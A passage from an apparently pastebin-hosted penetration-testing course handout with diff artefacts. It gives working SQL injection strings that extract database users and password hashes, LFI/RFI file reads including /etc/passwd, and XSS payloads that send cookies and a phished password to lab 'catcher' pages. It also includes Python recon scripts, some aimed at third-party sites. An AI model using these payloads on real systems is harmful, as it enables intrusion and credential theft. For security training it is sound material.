1757 | Now we negate the parameter value 'acer' by turning into the word 'null': | |
1758 | ---------------------------Type This----------------------------------- | |
1759 | ||
1760 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j | |
1761 | ----------------------------------------------------------------------- | |
1762 | ||
1763 | We see that a 4 and a 5 are on the screen. These are the columns that will echo back data | |
1764 | ||
1765 | ||
1766 | Use a cheat sheet for syntax: | |
1767 | http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet | |
1768 | ||
1769 | ---------------------------Type This----------------------------------- | |
1770 | ||
1771 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j | |
1772 | ||
1773 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j | |
1774 | ||
1775 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- + | |
1776 | ||
1777 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- + | |
1778 | ||
1779 | ||
1780 | https://phpapp.infosecaddicts.com/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a | |
1781 | ||
1782 | ----------------------------------------------------------------------- | |
1783 | ||
1784 | ||
1785 | ||
1786 | ######################## | |
1787 | # Question I get a lot # | |
1788 | ######################## | |
1789 | Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string. | |
1790 | ||
1791 | Here is a good reference for it: | |
1792 | https://www.symantec.com/connect/blogs/mysql-injection-comments-comments | |
1793 | ||
1794 | Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter. | |
1795 | ||
1796 | ||
1797 | ||
1798 | ||
1799 | ######################### | |
1800 | # File Handling Attacks # | |
1801 | ######################### | |
1802 | ||
1803 | Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file) | |
1804 | ||
1805 | ---------------------------Type This----------------------------------- | |
1806 | ||
1807 | https://phpapp.infosecaddicts.com/showfile.php?filename=about.txt | |
1808 | ||
1809 | ----------------------------------------------------------------------- | |
1810 | ||
1811 | ||
1812 | See if you can read files on the file system: | |
1813 | ---------------------------Type This----------------------------------- | |
1814 | ||
1815 | https://phpapp.infosecaddicts.com/showfile.php?filename=/etc/passwd | |
1816 | ----------------------------------------------------------------------- | |
1817 | ||
1818 | We call this attack a Local File Include or LFI. | |
1819 | ||
1820 | Now let's find some text out on the internet somewhere: | |
1821 | https://www.gnu.org/software/hello/manual/hello.txt | |
1822 | ||
1823 | ||
1824 | Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI: | |
1825 | ||
1826 | ---------------------------Type This----------------------------------- | |
1827 | ||
1828 | https://phpapp.infosecaddicts.com/showfile.php?filename=https://www.gnu.org/software/hello/manual/hello.txt | |
1829 | ----------------------------------------------------------------------- | |
1830 | ||
1831 | ######################################################################################### | |
1832 | # SQL Injection # | |
1833 | # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx # | |
1834 | ######################################################################################### | |
1835 | ||
1836 | ||
1837 | - Another quick way to test for SQLI is to remove the paramter value | |
1838 | ||
1839 | ||
1840 | ############################# | |
1841 | # Error-Based SQL Injection # | |
1842 | ############################# | |
1843 | ---------------------------Type This----------------------------------- | |
1844 | ||
1845 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))-- | |
1846 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))-- | |
1847 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))-- | |
1848 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))-- | |
1849 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))-- | |
1850 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases | |
1851 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))-- | |
1852 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')-- | |
1853 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')-- | |
1854 | ||
1855 | ----------------------------------------------------------------------- | |
1856 | ||
1857 | ||
1858 | ||
1859 | ############################# | |
1860 | # Union-Based SQL Injection # | |
1861 | ############################# | |
1862 | ||
1863 | ---------------------------Type This----------------------------------- | |
1864 | ||
1865 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 100-- | |
1866 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 50-- | |
1867 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 25-- | |
1868 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 10-- | |
1869 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 5-- | |
1870 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 6-- | |
1871 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 7-- | |
1872 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 8-- | |
1873 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 order by 9-- | |
1874 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9-- | |
1875 | ----------------------------------------------------------------------- | |
1876 | ||
1877 | We are using a union select statement because we are joining the developer's query with one of our own. | |
1878 | Reference: | |
1879 | http://www.techonthenet.com/sql/union.php | |
1880 | The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements. | |
1881 | It removes duplicate rows between the various SELECT statements. | |
1882 | ||
1883 | Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types. | |
1884 | ||
1885 | ---------------------------Type This----------------------------------- | |
1886 | ||
1887 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9-- | |
1888 | ----------------------------------------------------------------------- | |
1889 | ||
1890 | Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed. | |
1891 | ||
1892 | ---------------------------Type This----------------------------------- | |
1893 | ||
1894 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9-- | |
1895 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9-- | |
1896 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9-- | |
1897 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins-- | |
1898 | ||
1899 | ----------------------------------------------------------------------- | |
1900 | ||
1901 | ||
1902 | ||
1903 | ||
1904 | - Another way is to see if you can get the backend to perform an arithmetic function | |
1905 | ||
1906 | ---------------------------Type This----------------------------------- | |
1907 | ||
1908 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(2) | |
1909 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-2) | |
1910 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=(4-1) | |
1911 | ||
1912 | ||
1913 | ||
1914 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=1-- | |
1915 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1=2-- | |
1916 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=1*1 | |
1917 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1 >-1# | |
1918 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<99# | |
1919 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 1<>1# | |
1920 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 or 2 != 3-- | |
1921 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 &0# | |
1922 | ||
1923 | ||
1924 | ||
1925 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=1-- | |
1926 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and 1=2-- | |
1927 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='joe' and 1=1-- | |
1928 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2 and user='dbo' and 1=1-- | |
1929 | ||
1930 | ----------------------------------------------------------------------- | |
1931 | ||
1932 | ||
1933 | ############################### | |
1934 | # Blind SQL Injection Testing # | |
1935 | ############################### | |
1936 | Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER | |
1937 | ||
1938 | 3 - Total Characters | |
1939 | ---------------------------Type This----------------------------------- | |
1940 | ||
1941 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- | |
1942 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- | |
1943 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds) | |
1944 | ----------------------------------------------------------------------- | |
1945 | ||
1946 | Let's go for a quick check to see if it's DBO | |
1947 | ||
1948 | ---------------------------Type This----------------------------------- | |
1949 | ||
1950 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'-- | |
1951 | ----------------------------------------------------------------------- | |
1952 | ||
1953 | Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun. | |
1954 | ||
1955 | ---------------------------Type This----------------------------------- | |
1956 | ||
1957 | D - 1st Character | |
1958 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'-- | |
1959 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'-- | |
1960 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'-- | |
1961 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds) | |
1962 | ||
1963 | B - 2nd Character | |
1964 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1965 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1966 | ||
1967 | O - 3rd Character | |
1968 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1969 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- | |
1970 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1971 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1972 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- | |
1973 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- | |
1974 | https://aspdotnetapp.infosecaddicts.com/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds | |
1975 | ||
1976 | ----------------------------------------------------------------------- | |
1977 | ||
1978 | ||
1979 | ||
1980 | ||
1981 | ||
1982 | ||
1983 | ||
1984 | ################################ | |
1985 | # Playing with session cookies # | |
1986 | ################################ | |
1987 | ||
1988 | ----------------------------------------------------------------------- | |
1989 | Step 1: Browse to the shopping cart page NewEgg.com | |
1990 | -------------------Browse to this webpage in Firefox------------------------------ | |
1991 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
1992 | ---------------------------------------------------------------------------------- | |
1993 | ||
1994 | ||
1995 | ||
1996 | Step 2: View the current session ID | |
1997 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
1998 | javascript:void(document.write(document.cookie)) | |
1999 | ------------------------------------------------------------------------------------ | |
2000 | ||
2001 | You should see your session cookie and if you don't try again in a different browser | |
2002 | - | # https://phpapp.infosecaddicts.com/1-Intro_To_SQL_Intection.pptx # |
2002 | + | |
2003 | ||
2004 | ||
2005 | Step 3: Go back to the shopping cart page (click the back button) | |
2006 | --------------------------------------------------------------------------------- | |
2007 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
2008 | --------------------------------------------------------------------------------- | |
2009 | ||
2010 | ||
2011 | Step 4: Now let's modify the session ID | |
2012 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
2013 | javascript:void(document.cookie="PHPSessionID=wow-this-is-fun") | |
2014 | ------------------------------------------------------------------------------------ | |
2015 | ||
2016 | ||
2017 | ||
2018 | Step 5: Go back to the shopping cart page (click the back button) | |
2019 | --------------------------------------------------------------------------------- | |
2020 | https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view | |
2021 | --------------------------------------------------------------------------------- | |
2022 | ||
2023 | ||
2024 | ||
2025 | Step 6: View the current session ID | |
2026 | ---Type this over the shopping car URL in the address bar (don't paste it )--------- | |
2027 | javascript:void(document.write(document.cookie)) | |
2028 | ------------------------------------------------------------------------------------ | |
2029 | ||
2030 | ----------------------------------------------------------------------- | |
2031 | ||
2032 | ######################################################### | |
2033 | # What is XSS # | |
2034 | # https://phpapp.infosecaddicts.com/2-Intro_To_XSS.pptx # | |
2035 | ######################################################### | |
2036 | ||
2037 | OK - what is Cross Site Scripting (XSS) | |
2038 | ||
2039 | 1. Use Firefox to browse to the following location: | |
2040 | ---------------------------Type This----------------------------------- | |
2041 | ||
2042 | https://phpapp.infosecaddicts.com/xss_practice/ | |
2043 | ----------------------------------------------------------------------- | |
2044 | ||
2045 | A really simple search page that is vulnerable should come up. | |
2046 | ||
2047 | ||
2048 | ||
2049 | ||
2050 | 2. In the search box type: | |
2051 | ---------------------------Type This----------------------------------- | |
2052 | ||
2053 | <script>alert('So this is XSS')</script> | |
2054 | ----------------------------------------------------------------------- | |
2055 | ||
2056 | ||
2057 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
2058 | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ | |
2059 | ||
2060 | ||
2061 | 3. In the search box type: | |
2062 | ---------------------------Type This----------------------------------- | |
2063 | ||
2064 | <script>alert(document.cookie)</script> | |
2065 | ----------------------------------------------------------------------- | |
2066 | ||
2067 | ||
2068 | This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed. | |
2069 | Ok, click OK and then click back and go back to https://phpapp.infosecaddicts.com/xss_practice/ | |
2070 | ||
2071 | 4. Now replace that alert script with: | |
2072 | ---------------------------Type This----------------------------------- | |
2073 | ||
2074 | <script>document.location="https://phpapp.infosecaddicts.com/xss_practice/cookie_catcher.php?c="+document.cookie</script> | |
2075 | ----------------------------------------------------------------------- | |
2076 | ||
2077 | ||
2078 | This will actually pass your cookie to the cookie catcher that we have sitting on the webserver. | |
2079 | ||
2080 | ||
2081 | 5. Now view the stolen cookie at: | |
2082 | ---------------------------Type This----------------------------------- | |
2083 | ||
2084 | https://phpapp.infosecaddicts.com/xss_practice/cookie_stealer_logs.html | |
2085 | ----------------------------------------------------------------------- | |
2086 | ||
2087 | ||
2088 | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. | |
2089 | ||
2090 | ||
2091 | ||
2092 | ||
2093 | ||
2094 | ||
2095 | ############################ | |
2096 | # A Better Way To Demo XSS # | |
2097 | ############################ | |
2098 | ||
2099 | ||
2100 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
2101 | ||
2102 | ||
2103 | Use Firefox to browse to the following location: | |
2104 | ---------------------------Type This----------------------------------- | |
2105 | ||
2106 | https://phpapp.infosecaddicts.com/xss_practice/ | |
2107 | ----------------------------------------------------------------------- | |
2108 | ||
2109 | ||
2110 | ||
2111 | Paste this in the search box | |
2112 | ---------------------------- | |
2113 | ||
2114 | ||
2115 | ---------------------------Type This----------------------------------- | |
2116 | ||
2117 | <script> | |
2118 | password=prompt('Your session is expired. Please enter your password to continue',' '); | |
2119 | document.write("<img src=\"https://phpapp.infosecaddicts.com/xss_practice/passwordgrabber.php?password=" +password+"\">"); | |
2120 | </script> | |
2121 | ----------------------------------------------------------------------- | |
2122 | ||
2123 | ||
2124 | Now view the stolen cookie at: | |
2125 | ---------------------------Type This----------------------------------- | |
2126 | ||
2127 | https://phpapp.infosecaddicts.com/xss_practice/passwords.html | |
2128 | ||
2129 | ----------------------------------------------------------------------- | |
2130 | ||
2131 | ||
2132 | ||
2133 | ||
2134 | ||
2135 | ||
2136 | ||
2137 | ################################ | |
2138 | # Web App Testing with Python3 # | |
2139 | ################################ | |
2140 | ||
2141 | ||
2142 | ||
2143 | ||
2144 | ||
2145 | ||
2146 | ############################## | |
2147 | # Bannergrabbing a webserver # | |
2148 | ############################## | |
2149 | ||
2150 | ---------------------------Type This----------------------------------- | |
2151 | nano bannergrab.py | |
2152 | ||
2153 | ||
2154 | ---------------------------Paste This---------------------------------- | |
2155 | ||
2156 | #!/usr/bin/env python3 | |
2157 | import sys | |
2158 | - | Step 1: Browse to NewEgg.com |
2158 | + | |
2159 | - | -------------------------Paste this into Firefox----------------------------------- |
2159 | + | |
2160 | - | https://secure.newegg.com/ |
2160 | + | |
2161 | ||
2162 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
2163 | s.connect(("45.63.104.73", 80)) | |
2164 | - | Step 2: Browse to the shopping cart page NewEgg.com |
2164 | + | |
2165 | - | -------------------------Paste this into Firefox----------------------------------- |
2165 | + | |
2166 | #Convert response to bytes | |
2167 | response = b"" | |
2168 | # or use encode() | |
2169 | #response = "".encode() | |
2170 | - | Step 3: View the current session ID |
2170 | + | |
2171 | - | -------------------------Paste this into Firefox----------------------------------- |
2171 | + | |
2172 | data = s.recv(4096) | |
2173 | response += data | |
2174 | if not data: | |
2175 | - | Step 4: Go back to the shopping cart page (click the back button) |
2175 | + | |
2176 | s.close() | |
2177 | print(response.decode()) | |
2178 | ---------------------------------------------------------------------- | |
2179 | ||
2180 | ||
2181 | - | Step 5: Now let's modify the session ID |
2181 | + | |
2182 | - | -------------------------Paste this into Firefox----------------------------------- |
2182 | + | |
2183 | ----------------------------------------------------------------------- | |
2184 | ||
2185 | ||
2186 | ||
2187 | ######################################## | |
2188 | - | Step 6: Go back to the shopping cart page (click the back button) |
2188 | + | |
2189 | ######################################## | |
2190 | ||
2191 | A very good practice for a penetration tester is to start by listing the various available HTTP methods. | |
2192 | Following is a Python script with the help of which we can connect to the target web server and enumerate the available HTTP methods: | |
2193 | ||
2194 | To begin with, we need to import the requests library: | |
2195 | - | Step 7: View the current session ID |
2195 | + | |
2196 | - | -------------------------Paste this into Firefox----------------------------------- |
2196 | + | |
2197 | import requests | |
2198 | --------------------------- | |
2199 | ||
2200 | After importing the requests library,create an array of HTTP methods, which we are going to send. We will make use ofsome standard methods like 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' and a non-standard method ‘TEST’ to check how a web server can handle the unexpected input. | |
2201 | ||
2202 | - | ########################################### |
2202 | + | |
2203 | - | # What is XSS # |
2203 | + | |
2204 | ---------------------------------------------------------------------------- | |
2205 | - | ########################################### |
2205 | + | |
2206 | The following line of code is the main loop of the script, which will send the HTTP packets to the web server and print the method and the status code. | |
2207 | ||
2208 | ------------------------------------------------------ | |
2209 | for method in method_list: | |
2210 | req = requests.request(method, 'https://www.google.com') | |
2211 | print (method, req.status_code, req.reason) | |
2212 | ------------------------------------------------------ | |
2213 | ||
2214 | ||
2215 | ------------------------------------------------------ | |
2216 | for method in method_list: | |
2217 | req = requests.request(method, 'https://www.darkoperator.com') | |
2218 | print (method, req.status_code, req.reason) | |
2219 | ------------------------------------------------------ | |
2220 | ||
2221 | ||
2222 | ------------------------------------------------------ | |
2223 | for method in method_list: | |
2224 | req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php') | |
2225 | print (method, req.status_code, req.reason) | |
2226 | ------------------------------------------------------ | |
2227 | ||
2228 | ||
2229 | ------------------------------------------------------ | |
2230 | for method in method_list: | |
2231 | req = requests.request(method, 'http://www.dybedu.com') | |
2232 | print (method, req.status_code, req.reason) | |
2233 | ------------------------------------------------------ | |
2234 | ||
2235 | ||
2236 | The next line will test for the possibility of cross site tracing (XST) by sending the TRACE method. | |
2237 | ||
2238 | ------------------------------------------------------------- | |
2239 | if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: | |
2240 | print ('Cross Site Tracing(XST) is possible') | |
2241 | ------------------------------------------------------------- | |
2242 | ||
2243 | ||
2244 | *** Full code with example url: *** | |
2245 | ||
2246 | ---------------------------Type This----------------------------------- | |
2247 | nano xst.py | |
2248 | ||
2249 | ||
2250 | ---------------------------Paste This---------------------------------- | |
2251 | #!/usr/bin/env python3 | |
2252 | import requests | |
2253 | method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST'] | |
2254 | for method in method_list: | |
2255 | req = requests.request(method, 'https://dvws1.infosecaddicts.com/dvws1/vulnerabilities/xst/xst.php') | |
2256 | print (method, req.status_code, req.reason) | |
2257 | if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text: | |
2258 | print ('Cross Site Tracing(XST) is possible') | |
2259 | ||
2260 | ------------------------------------------------------------------------- | |
2261 | ||
2262 | ||
2263 | After running the above script for a particular web server, we will get 200 OK responses for a particular method accepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. | |
2264 | ||
2265 | ||
2266 | ---------------------------Type This----------------------------------- | |
2267 | python3 xst.py | |
2268 | ----------------------------------------------------------------------- | |
2269 | ||
2270 | ||
2271 | ||
2272 | ########################################## | |
2273 | # Foot printing by checking HTTP headers # | |
2274 | ########################################## | |
2275 | ||
2276 | ||
2277 | HTTP headers are found in both requests and responses from the web server. They also carry very important information about servers. That is why penetration tester is always interested in parsing information through HTTP headers. Following is a Python script for getting the information about headers of the web server: | |
2278 | ||
2279 | To begin with, let us import the requests library: | |
2280 | ||
2281 | ------------------------ | |
2282 | import requests | |
2283 | ------------------------ | |
2284 | ||
2285 | We need to send a GET request to the web server. The following line of code makes a simple GET request through the requests library. | |
2286 | ||
2287 | --------------------------------------------- | |
2288 | request = requests.get('enter the URL') | |
2289 | --------------------------------------------- | |
2290 | ||
2291 | Next, we will generate a list of headers about which you need the information. | |
2292 | ||
2293 | --------------------------------------------------------------------------------------------------------------- | |
2294 | header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length'] | |
2295 | --------------------------------------------------------------------------------------------------------------- | |
2296 | ||
2297 | Next is a try and except block. | |
2298 | ||
2299 | --------------------------------------------------- | |
2300 | for header in header_list: | |
2301 | ||
2302 | try: | |
2303 | result = request.headers[header] | |
2304 | print ('%s: %s' % (header, result)) | |
2305 | except Exception as err: | |
2306 | print ('%s: No Details Found' % header) | |
2307 | ||
2308 | --------------------------------------------------- | |
2309 | ||
2310 | ||
2311 | ||
2312 | ||
2313 | *** Example Full Code: *** | |
2314 | ||
2315 | ---------------------------Type This----------------------------------- | |
2316 | nano headercheck.py | |
2317 | ||
2318 | ||
2319 | ---------------------------Paste This---------------------------------- | |
2320 | #!/usr/bin/env python3 | |
2321 | import requests | |
2322 | request = requests.get('https://dvws1.infosecaddicts.com/dvws1/appinfo.php') | |
2323 | header_list = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', 'Connection', 'Content-Length'] | |
2324 | for header in header_list: | |
2325 | try: | |
2326 | result = request.headers[header] | |
2327 | print ('%s: %s' % (header, result)) | |
2328 | except Exception as err: | |
2329 | print ('%s: No Details Found' % header) | |
2330 | ---------------------------------------------------------------------------------------------------------------- | |
2331 | ||
2332 | ||
2333 | After running the above script for a particular web server, we will get the information about the headers provided in the header list. If there will be no information for a particular header then it will give the message ‘No Details Found’. | |
2334 | ||
2335 | ||
2336 | ---------------------------Type This----------------------------------- | |
2337 | python3 headercheck.py | |
2338 | ----------------------------------------------------------------------- | |
2339 | ||
2340 | ||
2341 | ############################################## | |
2342 | # Testing insecure web server configurations # | |
2343 | ############################################## | |
2344 | ||
2345 | We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt. | |
2346 | ---------------------------Type This----------------------------------- | |
2347 | nano websites.txt | |
2348 | ||
2349 | ---------------------------Paste This---------------------------------- | |
2350 | https://www.google.com | |
2351 | https://www.cnn.com | |
2352 | https://foxnews.com | |
2353 | https://phpapp.infosecaddicts.com/ | |
2354 | https://aspdotnetapp.infosecaddicts.com/ | |
2355 | https://dvws1.infosecaddicts.com/ | |
2356 | ----------------------------------------------------------------------- | |
2357 | ||
2358 | ||
2359 | ||
2360 | ||
2361 | ---------------------------Type This----------------------------------- | |
2362 | nano insecure_config_check.py | |
2363 | ||
2364 | ||
2365 | ---------------------------Paste This---------------------------------- | |
2366 | #!/usr/bin/env python3 | |
2367 | ||
2368 | # Reference: https://www.keycdn.com/blog/http-security-headers | |
2369 | ||
2370 | import requests | |
2371 | urls = open("websites.txt", "r") | |
2372 | for url in urls: | |
2373 | url = url.strip() | |
2374 | req = requests.get(url) | |
2375 | print (url, 'report:') | |
2376 | try: | |
2377 | protection_xss = req.headers['X-XSS-Protection'] | |
2378 | if protection_xss != '1; mode=block': | |
2379 | print ('X-XSS-Protection not set properly, it may be possible:', protection_xss) | |
2380 | except: | |
2381 | print ('X-XSS-Protection not set, it may be possible') | |
2382 | try: | |
2383 | options_content_type = req.headers['X-Content-Type-Options'] | |
2384 | if options_content_type != 'nosniff': | |
2385 | print ('X-Content-Type-Options not set properly:', options_content_type) | |
2386 | except: | |
2387 | print ('X-Content-Type-Options not set') | |
2388 | try: | |
2389 | transport_security = req.headers['Strict-Transport-Security'] | |
2390 | except: | |
2391 | print ('HSTS header not set properly, Man in the middle attacks is possible') | |
2392 | try: | |
2393 | content_security = req.headers['Content-Security-Policy'] | |
2394 | print ('Content-Security-Policy set:', content_security) | |
2395 | except: | |
2396 | print ('Content-Security-Policy missing') | |
2397 | ||
2398 | ----------------------------------------------------------------------- | |
2399 | ||
2400 | ||
2401 | ---------------------------Type This----------------------------------- | |
2402 | python3 insecure_config_check.py | |
2403 | ----------------------------------------------------------------------- | |
2404 | ||
2405 | ||
2406 | ||
2407 | ||
2408 | ||
2409 | ||
2410 | ||
2411 | ||
2412 | ---------------------------Type This----------------------------------- | |
2413 | nano LFI-RFI.py | |
2414 | ||
2415 | ||
2416 | ---------------------------Paste This---------------------------------- | |
2417 | ||
2418 | #!/usr/bin/env python3 | |
2419 | print("\n### PHP LFI/RFI Detector ###") | |
2420 | ||
2421 | import urllib.request, urllib.error, urllib.parse,re,sys | |
2422 | ||
2423 | TARGET = "http://45.63.104.73/showfile.php?filename=about.txt" | |
2424 | RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?" | |
2425 | TravLimit = 12 | |
2426 | ||
2427 | print("==> Testing for LFI vulns..") | |
2428 | TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION | |
2429 | for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP | |
